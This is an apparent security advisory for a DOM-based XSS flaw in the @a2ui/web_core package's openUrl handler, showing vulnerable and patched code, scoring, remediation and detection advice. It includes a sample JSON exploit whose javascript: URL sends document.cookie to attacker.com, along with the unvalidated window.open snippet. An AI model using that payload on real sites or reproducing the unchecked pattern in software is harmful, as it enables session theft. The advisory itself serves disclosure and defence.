CVE-2026-10032: DOM-based Cross-Site Scripting (XSS) via window.open in Google @a2ui/web_core

The @a2ui/web_core Node.js package acts as a core layout and rendering engine for client-facing user interfaces within the A2UI ecosystem. Applications use JSON-based configuration files to declare complex, dynamic layouts, binding UI elements like buttons to internal actions and navigation handlers. The design relies on the ability to dynamically load configuration maps that dictate the navigation flows of various frontend elements without requiring hardcoded route scripts.

The primary attack surface resides within the application's client-side runtime environment. When processing configuration maps, the renderer exposes basic utility capabilities that are directly bound to interactive DOM nodes. Among these capabilities is the openUrl utility, which enables components to programmatically prompt the host browser to navigate to designated locations or launch external window frames.

The core security flaw is a DOM-based Cross-Site Scripting (XSS) vulnerability registered under CWE-79. Due to a complete absence of input validation within the parameter mapping layer, arbitrary, user-controlled URI strings are passed directly to highly sensitive browser sinks. When a user interacts with a UI node containing a malicious navigation string, the browser interprets the target URL as code rather than a locator, triggering script execution in the host origin.

The root cause of CVE-2026-10032 is the direct delivery of untrusted string inputs into the browser's window.open() execution sink without protocol verification. Modern web standards define multiple execution paths for specific URI schemes. If a URI starts with pseudo-protocols such as javascript:, data:, or vbscript:, browser rendering engines switch from simple document fetching to dynamic context parsing and immediate execution.

In vulnerable iterations of @a2ui/web_core, the action-handling module map does not filter, validate, or sanitize parameters received from external configurations. The OpenUrlImplementation receives arguments containing a destination string, checks for the existence of the window object, and immediately initiates a routing request. This path bypasses the standard defense-in-depth model that usually monitors and controls script execution contexts inside single-page applications.

Because configuration files are often fetched over network boundaries or constructed dynamically based on query parameters, this pattern allows untrusted sources to dictate the execution argument. The application makes no attempts to verify if the destination string conforms to typical web navigation schemes like HTTP or HTTPS. Consequently, the input is handled as a trusted path, enabling the browser engine to interpret the embedded script payload as an administrative command belonging to the application origin.

The vulnerable code in version ranges 0.9.0 to 0.10.1 is exceptionally concise and lacks security checks. The following block illustrates how the framework processed the parameters prior to the patch:

// Vulnerable Implementation (pre-0.10.2)
export const OpenUrlImplementation = createFunctionImplementation(OpenUrlApi, args => {
  if (args.url && typeof window !== 'undefined' && window.open) {
    window.open(args.url, '_blank');
  }
});

To address the flaw, Google developers committed a fix in 71573078c4168b2dc166bb847c3a85715dadc675 that integrates the WHATWG URL standard API to evaluate structural inputs securely. The revised implementation parses the target URL using the browser's native parser and rejects configurations that do not belong to an approved protocol allowlist.

// Patched Implementation in Commit 71573078c4168b2dc166bb847c3a85715dadc675
export const OpenUrlImplementation = createFunctionImplementation(OpenUrlApi, args => {
  if (args.url && typeof window !== 'undefined' && window.open) {
    const baseHref =
      typeof window.location !== 'undefined' && window.location.href
        ? window.location.href
        : undefined;
 
    let url: URL;
    try {
      url = baseHref ? new URL(args.url, baseHref) : new URL(args.url);
    } catch (e: any) {
      throw new A2uiExpressionError(`Invalid URL specified: ${args.url}`, 'openUrl', e);
    }
 
    // Strict protocol allowlist: Only HTTP and HTTPS are permitted.
    if (url.protocol !== 'https:' && url.protocol !== 'http:') {
      throw new A2uiExpressionError(`Unsupported URL scheme: ${url.protocol}`, 'openUrl');
    }
 
    // Always use noopener and noreferrer to prevent reverse tab-nabbing
    window.open(url.href, '_blank', 'noopener,noreferrer');
  }
});

The patched code is secure against variant attacks for three key reasons. First, it uses the WHATWG URL constructor rather than fragile regular expressions, which prevents typical parser differential bypasses. Second, it resolves relative URLs against the origin's relative base context (window.location.href). Third, it explicitly limits execution to http: and https: schemes, preventing any possibility of executing code via javascript: or loading local system targets via file:.

Exploitation of CVE-2026-10032 requires an attacker to inject a malicious URI scheme into the payload delivered to the rendering library. Since @a2ui/web_core reads component mappings from dynamic JSON files, attackers target upstream APIs, data fields, or URL query parameters that influence the JSON generation process. A basic layout schema contains the button specifications and target routing attributes.

During exploitation, the attacker supplies a payload structured to map the call property to openUrl and the URL parameter to the script payload. When the victim interacts with the rendered element, the call triggers immediately within the host execution context. A representative configuration utilizing a cookie-stealing payload illustrates the structural logic of the exploit:

{
  "id": "trigger_button",
  "component": "Button",
  "text": "Proceed",
  "action": {
    "call": "openUrl",
    "args": {
      "url": "javascript:fetch('https://attacker.com/collect?data='+document.cookie)"
    }
  }
}

Because browsers execute the pseudo-protocol immediately upon processing the instruction, the cookie retrieval operates under the security context of the victim's current origin. The script gains read-and-write permissions over DOM elements and session-related tokens. The target browser does not perform additional validation checks, completing the execution phase as long as user interaction occurred.

The direct consequence of this vulnerability is complete access to the browser's execution context. This access allows the attacker to execute any arbitrary script within the victim's session origin. From an operational perspective, the impact matches a typical high-severity Cross-Site Scripting (XSS) payload. The attacker can access non-HttpOnly session tokens, local storage elements, and cached system secrets.

This capability facilitates subsequent attacks such as session hijacking, where the attacker clones active user credentials to gain unauthorized access to target dashboards. Additionally, since the executed code operates on behalf of the victim, the attacker can perform unauthorized state-changing operations. These operations include submitting forms, initiating transactions, or modifying user profiles directly inside the UI.

Under the CVSS v3.1 framework, the vulnerability scores a 6.1, which reflects the necessity of user interaction to trigger the click sequence. In terms of threat landscape metrics, the EPSS score remains low at 0.00130, and the vulnerability is not currently recorded in the CISA KEV catalog. Nonetheless, systems rendering arbitrary or untrusted configuration templates represent a continuous risk path that requires immediate patching to prevent structured target exploits.

The primary remediation path is upgrading @a2ui/web_core to version 0.10.2 or later. This upgrade modifies the dependency structure in package.json and updates the parsing libraries. If immediate software updates are blocked due to deployment pipelines, teams should review dynamic layout configuration pipelines. They can apply validation filters to intercept and scrub javascript: inputs before the renderer processes the JSON.

Implementing robust Content Security Policies (CSP) provides strong defense-in-depth against execution attempts. A well-configured CSP using the script-src directive without 'unsafe-inline' blocks the browser from parsing pseudo-protocols even if the input passes through the browser sink. Teams should also audit upstream API endpoints that deliver layout configuration payloads to prevent unauthorized users from editing interface parameters.

For monitoring and hunting purposes, web application firewalls and API log analyzers can flag patterns that contain protocol anomalies. Look for URL-encoded representation sequences of pseudo-protocols such as %6a%61%76%61%73%63%72%69%70%74%3a in JSON action maps. Code scanning pipelines should execute static checks for custom implementations of window.open that bypass central routing layers.